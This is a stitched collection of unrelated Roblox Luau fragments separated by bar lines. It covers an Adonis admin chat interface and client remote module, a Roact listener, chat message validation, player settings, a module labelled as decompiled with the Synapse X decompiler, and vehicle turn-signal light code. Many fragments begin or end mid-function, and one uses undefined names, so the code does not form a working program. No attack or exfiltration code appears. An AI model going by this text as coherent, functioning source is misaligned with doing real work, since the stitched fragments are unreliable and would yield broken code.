crossNum = crossNum + rows - 1
end
clone.Parent = crossTab
end
end
globalTab.CanvasSize = UDim2.new(0, 0, 0, ((globalNum) * 20))
teamTab.CanvasSize = UDim2.new(0, 0, 0, ((teamNum) * 20))
localTab.CanvasSize = UDim2.new(0, 0, 0, ((localNum) * 20))
adminsTab.CanvasSize = UDim2.new(0, 0, 0, ((adminsNum) * 20))
crossTab.CanvasSize = UDim2.new(0, 0, 0, ((crossNum) * 20))
local glob = (((globalNum) * 20) - globalTab.AbsoluteWindowSize.Y)
local tea = (((teamNum) * 20) - teamTab.AbsoluteWindowSize.Y)
local loc = (((localNum) * 20) - localTab.AbsoluteWindowSize.Y)
local adm = (((adminsNum) * 20) - adminsTab.AbsoluteWindowSize.Y)
local cro = (((crossNum) * 20) - crossTab.AbsoluteWindowSize.Y)
if glob < 0 then
glob = 0
end
if tea < 0 then
tea = 0
end
if loc < 0 then
loc = 0
end
if adm < 0 then
adm = 0
end
if cro < 0 then
cro = 0
end
globalTab.CanvasPosition = Vector2.new(0, glob)
teamTab.CanvasPosition = Vector2.new(0, tea)
localTab.CanvasPosition = Vector2.new(0, loc)
adminsTab.CanvasPosition = Vector2.new(0, adm)
crossTab.CanvasPosition = Vector2.new(0, cro)
end
end
if not storedChats then
client.Variables.StoredChats = {}
storedChats = client.Variables.StoredChats
end
gTable:Ready()
local bubble = gui.Bubble
local toggle = gui.Toggle
local drag = gui.Drag
local frame = gui.Drag.Frame
local frame2 = gui.Drag.Frame.Frame
local box = gui.Drag.Frame.Chat
local globalTab = gui.Drag.Frame.Frame.Global
local teamTab = gui.Drag.Frame.Frame.Team
local localTab = gui.Drag.Frame.Frame.Local
local adminsTab = gui.Drag.Frame.Frame.Admins
local crossTab = gui.Drag.Frame.Frame.Cross
local global = gui.Drag.Frame.Global
local team = gui.Drag.Frame.Team
local localb = gui.Drag.Frame.Local
local admins = gui.Drag.Frame.Admins
local cross = gui.Drag.Frame.Cross
if not nohide then
client.Variables.CustomChat = true
client.Variables.ChatEnabled = false
service.StarterGui:SetCoreGuiEnabled('Chat', false)
else
drag.Position = UDim2.new(0, 10, 1, -180)
end
local dragger = gui.Drag.Frame.Dragger
local fakeDrag = gui.Drag.Frame.FakeDragger
local boxFocused = false
local mode = "Global"
local lastChat = 0
local lastClick = 0
local isAdmin = client.Remote.Get("CheckAdmin")
if not isAdmin then
admins.BackgroundTransparency = 0.8
admins.TextTransparency = 0.8
cross.BackgroundTransparency = 0.8
cross.TextTransparency = 0.8
end
if client.UI.Get("HelpButton") then
toggle.Position = UDim2.new(1, -90, 1, -45)
end
local function openGlobal()
globalTab.Visible = true
teamTab.Visible = false
localTab.Visible = false
adminsTab.Visible = false
crossTab.Visible = false
global.Text = "Global"
mode = "Global"
global.BackgroundTransparency = 0
team.BackgroundTransparency = 0.5
localb.BackgroundTransparency = 0.5
if isAdmin then
admins.BackgroundTransparency = 0.5
admins.TextTransparency = 0
cross.BackgroundTransparency = 0.5
cross.TextTransparency = 0
else
admins.BackgroundTransparency = 0.8
admins.TextTransparency = 0.8
cross.BackgroundTransparency = 0.8
cross.TextTransparency = 0.8
end
end
local function openTeam()
globalTab.Visible = false
teamTab.Visible = true
localTab.Visible = false
adminsTab.Visible = false
crossTab.Visible = false
team.Text = "Team"
mode = "Team"
global.BackgroundTransparency = 0.5
team.BackgroundTransparency = 0
localb.BackgroundTransparency = 0.5
admins.BackgroundTransparency = 0.5
if isAdmin then
admins.BackgroundTransparency = 0.5
admins.TextTransparency = 0
cross.BackgroundTransparency = 0.5
cross.TextTransparency = 0
else
admins.BackgroundTransparency = 0.8
admins.TextTransparency = 0.8
cross.BackgroundTransparency = 0.8
cross.TextTransparency = 0.8
end
end
local function openLocal()
globalTab.Visible = false
teamTab.Visible = false
localTab.Visible = true
adminsTab.Visible = false
crossTab.Visible = false
localb.Text = "Local"
mode = "Local"
global.BackgroundTransparency = 0.5
team.BackgroundTransparency = 0.5
localb.BackgroundTransparency = 0
admins.BackgroundTransparency = 0.5
if isAdmin then
admins.BackgroundTransparency = 0.5
admins.TextTransparency = 0
cross.BackgroundTransparency = 0.5
cross.TextTransparency = 0
else
admins.BackgroundTransparency = 0.8
admins.TextTransparency = 0.8
cross.BackgroundTransparency = 0.8
cross.TextTransparency = 0.8
end
end
local function openAdmins()
globalTab.Visible = false
teamTab.Visible = false
localTab.Visible = false
adminsTab.Visible = true
crossTab.Visible = false
admins.Text = "Admins"
mode = "Admins"
global.BackgroundTransparency = 0.5
team.BackgroundTransparency = 0.5
localb.BackgroundTransparency = 0.5
if isAdmin then
admins.BackgroundTransparency = 0
admins.TextTransparency = 0
cross.BackgroundTransparency = 0.5
cross.TextTransparency = 0
else
admins.BackgroundTransparency = 0.8
admins.TextTransparency = 0.8
cross.BackgroundTransparency = 0.8
cross.TextTransparency = 0.8
end
end
local function openCross()
globalTab.Visible = false
teamTab.Visible = false
localTab.Visible = false
adminsTab.Visible = false
crossTab.Visible = true
cross.Text = "Cross"
mode = "Cross"
global.BackgroundTransparency = 0.5
team.BackgroundTransparency = 0.5
localb.BackgroundTransparency = 0.5
if isAdmin then
admins.BackgroundTransparency = 0.5
admins.TextTransparency = 0
cross.BackgroundTransparency = 0
cross.TextTransparency = 0
else
admins.BackgroundTransparency = 0.8
admins.TextTransparency = 0.8
cross.BackgroundTransparency = 0.8
cross.TextTransparency = 0.8
end
end
local function fadeIn()
--[[
frame.BackgroundTransparency = 0.5
frame2.BackgroundTransparency = 0.5
box.BackgroundTransparency = 0.5
for i=0.1,0.5,0.1 do
--wait(0.1)
frame.BackgroundTransparency = 0.5-i
frame2.BackgroundTransparency = 0.5-i
box.BackgroundTransparency = 0.5-i
end-- Disabled ]]
frame.BackgroundTransparency = 0
frame2.BackgroundTransparency = 0
box.BackgroundTransparency = 0
fakeDrag.Visible = true
end
local function fadeOut()
--[[
frame.BackgroundTransparency = 0
frame2.BackgroundTransparency = 0
box.BackgroundTransparency = 0
for i=0.1,0.5,0.1 do
--wait(0.1)
frame.BackgroundTransparency = i
frame2.BackgroundTransparency = i
box.BackgroundTransparency = i
end-- Disabled ]]
frame.BackgroundTransparency = 0.7
frame2.BackgroundTransparency = 1
box.BackgroundTransparency = 1
fakeDrag.Visible = false
end
fadeOut()
frame.MouseEnter:Connect(function()
fadeIn()
end)
frame.MouseLeave:Connect(function()
if not boxFocused then
fadeOut()
end
end)
toggle.MouseButton1Click:Connect(function()
if drag.Visible then
drag.Visible = false
toggle.Image = "rbxassetid://417301749"--417285299"
else
drag.Visible = true
toggle.Image = "rbxassetid://417301773"--417285351"
end
end)
global.MouseButton1Click:Connect(function()
openGlobal()
end)
team.MouseButton1Click:Connect(function()
openTeam()
end)
localb.MouseButton1Click:Connect(function()
openLocal()
end)
admins.MouseButton1Click:Connect(function()
if isAdmin or tick() - lastClick > 5 then
isAdmin = client.Remote.Get("CheckAdmin")
if isAdmin then
openAdmins()
else
admins.BackgroundTransparency = 0.8
admins.TextTransparency = 0.8
end
lastClick = tick()
end
end)
cross.MouseButton1Click:Connect(function()
if isAdmin or tick() - lastClick > 5 then
isAdmin = client.Remote.Get("CheckAdmin")
if isAdmin then
openCross()
else
cross.BackgroundTransparency = 0.8
cross.TextTransparency = 0.8
end
lastClick = tick()
end
end)
box.FocusLost:Connect(function(enterPressed)
boxFocused = false
if enterPressed and not client.Variables.Muted then
if box.Text ~= '' and ((mode ~= "Cross" and tick() - lastChat >= 0.5) or (mode == "Cross" and tick() - lastChat >= 10)) then
if not client.Variables.Muted then
client.Remote.Send('ProcessCustomChat', box.Text, mode)
lastChat = tick()
end
elseif not ((mode ~= "Cross" and tick() - lastChat >= 0.5) or (mode == "Cross" and tick() - lastChat >= 10)) then
local tim
if mode == "Cross" then
tim = 10 - (tick() - lastChat)
else
tim = 0.5 - (tick() - lastChat)
end
tim = string.sub(tostring(tim), 1, 3)
client.Handlers.ChatHandler("SpamBot", "Sending too fast! Please wait "..tostring(tim).." seconds.", "System")
end
box.Text = "Click here or press the '/' key to chat"
fadeOut()
if mode ~= "Cross" then
lastChat = tick()
end
end
end)
box.Focused:Connect(function()
boxFocused = true
if box.Text == "Click here or press the '/' key to chat" then
box.Text = ''
end
fadeIn()
end)
if not nohide then
service.UserInputService.InputBegan:Connect(function(InputObject)
local textbox = service.UserInputService:GetFocusedTextBox()
if not (textbox) and InputObject.UserInputType == Enum.UserInputType.Keyboard and InputObject.KeyCode == Enum.KeyCode.Slash then
if box.Text == "Click here or press the '/' key to chat" then
box.Text = ''
end
service.RunService.RenderStepped:Wait()
box:CaptureFocus()
end
end)
end
local dragging = false
local nx, ny = drag.AbsoluteSize.X, frame.AbsoluteSize.Y --450,200
local defx, defy = nx, ny
mouse.Move:Connect(function(x, y)
if dragging then
nx = math.clamp(defx + (dragger.Position.X.Offset + 20), 1, 260)
ny = math.clamp(defy + (dragger.Position.Y.Offset + 20), 1, 100)
frame.Size = UDim2.new(1, 0, 0, ny)
drag.Size = UDim2.new(0, nx, 0, 30)
end
end)
dragger.DragBegin:Connect(function(init)
dragging = true
end)
dragger.DragStopped:Connect(function(x, y)
dragging = false
defx = nx
defy = ny
dragger.Position = UDim2.new(1, -20, 1, -20)
UpdateChat()
end)
UpdateChat()
|
--[[
This is a child component that listens for the event "all parents have been
set". In didMount, parents of the mounted component are not required to be
set, therefore we can't do ancestry checks (like checking to see if the
mounted component is a child of CoreGui or PlayerGui). This component makes
it easy to do this check and trigger functions when all parents are assigned
after didMount.
]]
|
local t = require(script.Parent.Parent.Packages.t)
local Roact = require(script.Parent.Parent.Packages.Roact)
local OnRootedListener = Roact.Component:extend("OnRootedListener")
OnRootedListener.validateProps = t.strictInterface({
onRooted = t.callback,
})
function OnRootedListener:init()
self.onAncestryChanged = function(instance)
if instance:IsDescendantOf(game) then
self.props.onRooted(instance)
end
end
end
function OnRootedListener:render()
return Roact.createElement("Folder", {
[Roact.Event.AncestryChanged] = self.onAncestryChanged,
})
end
return OnRootedListener
|
--[[
Hello! This script will turn this red light green when the time reaches 18:00:00, or 6 PM,
then return to red at 7:30, or 7:30 AM. With enough flexibility, you can make this do
other things!
]]
|
function toMinutes(hour) --turns something like 7.5 hours into 450 minutes.
hour = hour * 60
return hour
end
|
--[[
DEVELOPMENT HAS BEEN MOVED FROM DAVEY_BONES/SCELERATIS TO THE EPIX INCORPORATED GROUP
CURRENT LOADER:
https://www.roblox.com/library/7510622625/Adonis-Loader-Sceleratis-Davey-Bones-Epix
CURRENT MODULE:
https://www.roblox.com/library/7510592873/Adonis-MainModule
--]]
| |
-- If you want to create your own custom player settings,
-- make a copy of this script and add it to your StarterPlayer object
|
local module = {}
module.UseDefaultAnimations = false -- force incoming players to use default avatar animations, not custom animations
return module
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
v1.__index = v1;
local u1 = require(script:WaitForChild("SmoothDamp"));
function v1.new(p1, p2)
assert(typeof(p1) == "Vector3", "initialValue should be Vector3");
assert(typeof(p2) == "number", "smoothTime should be a number");
assert(p2 >= 0, "smoothTime must be a positive number");
local v2 = setmetatable({
Value = p1,
Goal = p1,
SmoothTime = p2
}, v1);
v2._smoothDamp = u1.new();
return v2;
end;
function v1.Update(p3, p4)
if p4 then
p3.Goal = p4;
else
p4 = p3.Goal;
end;
local v3 = p3._smoothDamp:Update(p3.Value, p4, p3.SmoothTime);
p3.Value = v3;
return v3;
end;
function v1.UpdateAngle(p5, p6)
if p6 then
p5.Goal = p6;
else
p6 = p5.Goal;
end;
local v4 = p5._smoothDamp:UpdateAngle(p5.Value, p6, p5.SmoothTime);
p5.Value = v4;
return v4;
end;
function v1.SetMaxSpeed(p7, p8)
p7._smoothDamp.MaxSpeed = p8;
end;
function v1.GetMaxSpeed(p9)
return p9._smoothDamp.MaxSpeed;
end;
return v1;
|
-- if RunService:IsStudio() then
-- return true
-- end
|
local success, canChat = pcall(function()
return Chat:CanUserChatAsync(playerObj.UserId)
end)
return success and canChat
end
local function ValidateChatFunction(speakerName, message, channel)
local speakerObj = ChatService:GetSpeaker(speakerName)
local playerObj = speakerObj:GetPlayer()
if not speakerObj then return false end
if not playerObj then return false end
if (playerObj.UserId < 1) then -- and (not RunService:IsStudio()) then
return true
end
if not CanUserChat(playerObj) then
speakerObj:SendSystemMessage(ChatLocalization:Get("GameChat_ChatMessageValidator_SettingsError","Your chat settings prevent you from sending messages."), channel)
return true
end
if message:len() > ChatSettings.MaximumMessageLength + 1 then
speakerObj:SendSystemMessage(ChatLocalization:Get("GameChat_ChatMessageValidator_MaxLengthError","Your message exceeds the maximum message length."), channel)
return true
end
for i = 1, #DISALLOWED_WHITESPACE do
if string.find(message, DISALLOWED_WHITESPACE[i]) then
speakerObj:SendSystemMessage(ChatLocalization:Get("GameChat_ChatMessageValidator_WhitespaceError","Your message contains whitespace that is not allowed."), channel)
return true
end
end
return false
end
ChatService:RegisterProcessCommandsFunction("message_validation", ValidateChatFunction, ChatSettings.LowPriority)
end
return Run
|
--!strict
|
local Players = game:GetService("Players")
|
-- Constants
|
local Remote_Events = ReplicatedStorage:WaitForChild("RemoteEvents")
local Local_Player = PlayersService.LocalPlayer
|
--// Remote
|
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local _G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
_G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay
local script = script
local service = Vargs.Service
local client = Vargs.Client
local Anti, Core, Functions, Process, Remote, UI, Variables
local function Init()
UI = client.UI;
Anti = client.Anti;
Core = client.Core;
Variables = client.Variables
Functions = client.Functions;
Process = client.Process;
Remote = client.Remote;
Remote.Init = nil;
end
local function RunAfterLoaded()
--// Report client finished loading
log("~! Fire client loaded")
client.Remote.Send("ClientLoaded")
--// Ping loop
log("~! Start ClientCheck loop");
delay(5, function() service.StartLoop("ClientCheck", 30, Remote.CheckClient, true) end)
--// Get settings
log("Get settings");
local settings = client.Remote.Get("Setting",{"G_API","Allowed_API_Calls","HelpButtonImage"})
if settings then
client.G_API = settings.G_API
--client.G_Access = settings.G_Access
--client.G_Access_Key = settings.G_Access_Key
--client.G_Access_Perms = settings.G_Access_Perms
client.Allowed_API_Calls = settings.Allowed_API_Calls
client.HelpButtonImage = settings.HelpButtonImage
else
log("~! GET SETTINGS FAILED?")
warn("FAILED TO GET SETTINGS FROM SERVER");
end
Remote.RunAfterLoaded = nil;
end
local function RunLast()
--[[client = service.ReadOnly(client, {
[client.Variables] = true;
[client.Handlers] = true;
G_API = true;
G_Access = true;
G_Access_Key = true;
G_Access_Perms = true;
Allowed_API_Calls = true;
HelpButtonImage = true;
Finish_Loading = true;
RemoteEvent = true;
ScriptCache = true;
Returns = true;
PendingReturns = true;
EncodeCache = true;
DecodeCache = true;
Received = true;
Sent = true;
Service = true;
Holder = true;
GUIs = true;
LastUpdate = true;
RateLimits = true;
Init = true;
RunLast = true;
RunAfterInit = true;
RunAfterLoaded = true;
RunAfterPlugins = true;
}, true)--]]
Remote.RunLast = nil;
end
getfenv().client = nil
getfenv().service = nil
getfenv().script = nil
client.Remote = {
Init = Init;
RunLast = RunLast;
RunAfterLoaded = RunAfterLoaded;
Returns = {};
PendingReturns = {};
EncodeCache = {};
DecodeCache = {};
Received = 0;
Sent = 0;
CheckClient = function()
if os.time() - Core.LastUpdate >= 10 then
Remote.Send("ClientCheck", {
Sent = Remote.Sent or 0;
Received = Remote.Received;
}, client.DepsName)
end
end;
Returnables = {
Test = function(args)
return "HELLO FROM THE CLIENT SIDE :)! ", unpack(args)
end;
Ping = function(args)
return Remote.Ping()
end;
ClientHooked = function(args)
return Core.Special
end;
TaskManager = function(args)
local action = args[1]
if action == "GetTasks" then
local tab = {}
for _, v in service.GetTasks() do
local new = {}
new.Status = v.Status
new.Name = v.Name
new.Index = v.Index
new.Created = v.Created
new.CurrentTime = os.time()
new.Function = tostring(v.Function)
table.insert(tab,new)
end
return tab
end
end;
LoadCode = function(args)
local code = args[1]
local func = Core.LoadCode(code, GetEnv())
if func then
return func()
end
end;
Function = function(args)
local func = client.Functions[args[1]]
if func and type(func) == "function" then
return func(unpack(args, 2))
end
end;
Handler = function(args)
local handler = client.Handlers[args[1]]
if handler and type(handler) == "function" then
return handler(unpack(args, 2))
end
end;
UIKeepAlive = function(args)
if Variables.UIKeepAlive then
for _, g in client.GUIs do
if g.KeepAlive then
if g.Class == "ScreenGui" or g.Class == "GuiMain" then
g.Object.Parent = service.Player.PlayerGui
elseif g.Class == "TextLabel" then
g.Object.Parent = UI.GetHolder()
end
g.KeepAlive = false
end
end
end
return true;
end;
UI = function(args)
local guiName = args[1]
local themeData = args[2]
local guiData = args[3]
Variables.LastServerTheme = themeData or Variables.LastServerTheme;
return UI.Make(guiName, guiData, themeData)
end;
InstanceList = function(args)
local objects = service.GetAdonisObjects()
local temp = {}
for _, v in objects do
table.insert(temp, {
Text = v:GetFullName();
Desc = v.ClassName;
})
end
return temp
end;
ClientLog = function(args)
local MESSAGE_TYPE_COLORS = {
[Enum.MessageType.MessageWarning] = Color3.fromRGB(221, 187, 13),
[Enum.MessageType.MessageError] = Color3.fromRGB(255, 50, 14),
[Enum.MessageType.MessageInfo] = Color3.fromRGB(14, 78, 255)
}
local tab = {}
local logHistory: {{message: string, messageType: Enum.MessageType, timestamp: number}} = service.LogService:GetLogHistory()
for i = #logHistory, 1, -1 do
local log = logHistory[i]
for i, v in service.ExtractLines(log.message) do
table.insert(tab, {
Text = v;
Time = if i == 1 then log.timestamp else nil;
Desc = log.messageType.Name:match("^Message(.+)$");
Color = MESSAGE_TYPE_COLORS[log.messageType];
})
end
end
return tab
end;
LocallyFormattedTime = function(args)
if type(args[1]) == "table" then
local results = {}
for i, t in args[1] do
results[i] = service.FormatTime(t, select(2, unpack(args)))
end
return results
end
return service.FormatTime(unpack(args))
end;
};
UnEncrypted = setmetatable({}, {
__newindex = function(_, ind, val)
warn("Remote.UnEncrypted is deprecated; moving", ind, "to Remote.Commands")
Remote.Commands[ind] = val
end
});
Commands = {
GetReturn = function(args)
print("THE SERVER IS ASKING US FOR A RETURN");
local com = args[1]
local key = args[2]
local parms = {unpack(args, 3)}
local retfunc = Remote.Returnables[com]
local retable = (retfunc and {pcall(retfunc,parms)}) or {}
if retable[1] ~= true then
logError(retable[2])
Remote.Send("GiveReturn", key, "__ADONIS_RETURN_ERROR", retable[2])
else
print("SENT RETURN");
Remote.Send("GiveReturn", key, unpack(retable,2))
end
end;
GiveReturn = function(args)
print("SERVER GAVE US A RETURN")
if Remote.PendingReturns[args[1]] then
print("VALID PENDING RETURN")
Remote.PendingReturns[args[1]] = nil
service.Events[args[1]]:Fire(unpack(args, 2))
end
end;
SessionData = function(args)
local sessionKey = args[1];
if sessionKey then
service.Events.SessionData:Fire(sessionKey, table.unpack(args, 2))
end
end;
SetVariables = function(args)
local vars = args[1]
for var, val in vars do
Variables[var] = val
end
end;
Print = function(args)
print(unpack(args))
end;
FireEvent = function(args)
service.FireEvent(unpack(args))
end;
Test = function(args)
print("OK WE GOT COMMUNICATION! ORGL: "..tostring(args[1]))
end;
TestError = function(args)
error("THIS IS A TEST ERROR")
end;
TestEvent = function(args)
Remote.PlayerEvent(args[1],unpack(args,2))
end;
LoadCode = function(args)
local code = args[1]
local func = Core.LoadCode(code, GetEnv())
if func then
return func()
end
end;
LaunchAnti = function(args)
Anti.Launch(args[1],args[2])
end;
UI = function(args)
local guiName = args[1]
local themeData = args[2]
local guiData = args[3]
Variables.LastServerTheme = themeData or Variables.LastServerTheme;
UI.Make(guiName,guiData,themeData)
end;
RemoveUI = function(args)
UI.Remove(args[1],args[2])
end;
RefreshUI = function(args)
local guiName = args[1]
local ignore = args[2]
UI.Remove(guiName,ignore)
local themeData = args[3]
local guiData = args[4]
Variables.LastServerTheme = themeData or Variables.LastServerTheme;
UI.Make(guiName,guiData,themeData)
end;
StartLoop = function(args)
local name = args[1]
local delay = args[2]
local code = args[3]
local func = Core.LoadCode(code, GetEnv())
if name and delay and code and func then
service.StartLoop(name,delay,func)
end
end;
StopLoop = function(args)
service.StopLoop(args[1])
end;
Function = function(args)
local func = client.Functions[args[1]]
if func and type(func) == "function" then
Pcall(func,unpack(args,2))
end
end;
Handler = function(args)
local handler = client.Handlers[args[1]]
if handler and type(handler) == "function" then
Pcall(handler, unpack(args, 2))
end
end;
};
Fire = function(...)
local limits = Process.RateLimits
local limit = (limits and limits.Remote) or 0.01;
local RemoteEvent = Core.RemoteEvent;
local extra = {...};
if RemoteEvent and RemoteEvent.Object then
service.Queue("REMOTE_SEND", function()
Remote.Sent = Remote.Sent+1;
RemoteEvent.Object:FireServer({Mode = "Fire", Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received}, unpack(extra));
task.wait(limit);
end)
end
end;
Send = function(com,...)
Core.LastUpdate = os.time()
Remote.Fire(Remote.Encrypt(com,Core.Key),...)
end;
GetFire = function(...)
local RemoteEvent = Core.RemoteEvent;
local limits = Process.RateLimits;
local limit = (limits and limits.Remote) or 0.02;
local extra = {...};
local returns;
if RemoteEvent and RemoteEvent.Function then
local Yield = service.Yield();
service.Queue("REMOTE_SEND", function()
Remote.Sent = Remote.Sent+1;
task.delay(0, function() -- Wait for return in new thread; We don't want to hold the entire fire queue up while waiting for one thing to return since we just want to limit fire speed;
returns = {
RemoteEvent.Function:InvokeServer({
Mode = "Get",
Module = client.Module,
Loader = client.Loader,
Sent = Remote.Sent,
Received = Remote.Received
}, unpack(extra))
}
Yield:Release(returns);
end)
task.wait(limit)
end)
if not returns then
Yield:Wait();
end
Yield:Destroy();
if returns then
return unpack(returns)
end
end
end;
RawGet = function(...)
local extra = {...};
local RemoteEvent = Core.RemoteEvent;
if RemoteEvent and RemoteEvent.Function then
Remote.Sent = Remote.Sent+1;
return RemoteEvent.Function:InvokeServer({Mode = "Get", Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received}, unpack(extra));
end
end;
Get = function(com,...)
Core.LastUpdate = os.time()
local ret = Remote.GetFire(Remote.Encrypt(com,Core.Key),...)
if type(ret) == "table" then
return unpack(ret);
else
return ret;
end
end;
OldGet = function(com,...)
local returns
local key = Functions:GetRandom()
local waiter = service.New("BindableEvent");
local event = service.Events[key]:Connect(function(...) print("WE ARE GETTING A RETURN!") returns = {...} waiter:Fire() task.wait() waiter:Fire() waiter:Destroy() end)
Remote.PendingReturns[key] = true
Remote.Send("GetReturn",com,key,...)
print(string.format("GETTING RETURNS? %s", tostring(returns)))
--returns = returns or {event:Wait()}
waiter.Event:Wait();
print(string.format("WE GOT IT! %s", tostring(returns)))
event:Disconnect()
if returns then
if returns[1] == "__ADONIS_RETURN_ERROR" then
error(returns[2])
else
return unpack(returns)
end
else
return nil
end
end;
Ping = function()
local t = time()
local ping = Remote.Get("Ping")
if not ping then return false end
local t2 = time()
local mult = 10^3
local ms = ((math.floor((t2-t)*mult+0.5)/mult)*1000)
return ms
end;
PlayerEvent = function(event,...)
Remote.Send("PlayerEvent",event,...)
end;
Encrypt = function(str, key, cache)
cache = cache or Remote.EncodeCache or {}
if not key or not str then
return str
elseif cache[key] and cache[key][str] then
return cache[key][str]
else
local byte = string.byte
local sub = string.sub
local char = string.char
local keyCache = cache[key] or {}
local endStr = {}
for i = 1, #str do
local keyPos = (i % #key) + 1
endStr[i] = char(((byte(sub(str, i, i)) + byte(sub(key, keyPos, keyPos)))%126) + 1)
end
endStr = table.concat(endStr)
cache[key] = keyCache
keyCache[str] = endStr
return endStr
end
end;
Decrypt = function(str, key, cache)
cache = cache or Remote.DecodeCache or {}
if not key or not str then
return str
elseif cache[key] and cache[key][str] then
return cache[key][str]
else
local keyCache = cache[key] or {}
local byte = string.byte
local sub = string.sub
local char = string.char
local endStr = {}
for i = 1, #str do
local keyPos = (i % #key)+1
endStr[i] = char(((byte(sub(str, i, i)) - byte(sub(key, keyPos, keyPos)))%126) - 1)
end
endStr = table.concat(endStr)
cache[key] = keyCache
keyCache[str] = endStr
return endStr
end
end;
}
end
|
-- light functions
|
F.SignalLeft = function(flash_rate, state, active, tb, type, seq, max_segs, current_segment)
if active then
if not seq then
if state then
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 0})
gtwe:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 1, Range = 16})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.02})
tw:Play()
end
end
elseif type == "LED" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 0})
gtwe:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 1
child.Range = 16
elseif child.Name == "LN" then
child.Transparency = 0.02
end
end
end
wait(flash_rate)
else
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 1})
gtwe:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
elseif type == "LED" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 1})
gtwe:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 1
end
end
end
wait(flash_rate)
end
else
if state then
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 0})
gtwe:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child.Name == "SI"..tostring(current_segment) then
local tw = TweenService:Create(child, t, {Transparency = 0.02})
tw:Play()
end
end
elseif type == "LED" then
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child.Name == "SI"..tostring(current_segment) then
child.Transparency = 0.02
end
end
end
else
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 1})
gtwe:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if string.sub(child.Name, 1, 2) == "SI" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
elseif type == "LED" then
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if string.sub(child.Name, 1, 2) == "SI" then
child.Transparency = 1
end
end
end
end
end
else
if not seq then
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 1})
gtwe:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
elseif type == "LED" then
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 1
end
end
end
wait(flash_rate)
else
if state then
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 0})
gtwe:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child.Name == "SI"..tostring(current_segment) then
local tw = TweenService:Create(child, t, {Transparency = 0.02})
tw:Play()
end
end
elseif type == "LED" then
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child.Name == "SI"..tostring(current_segment) then
child.Transparency = 0.02
end
end
end
else
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 1})
gtwe:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
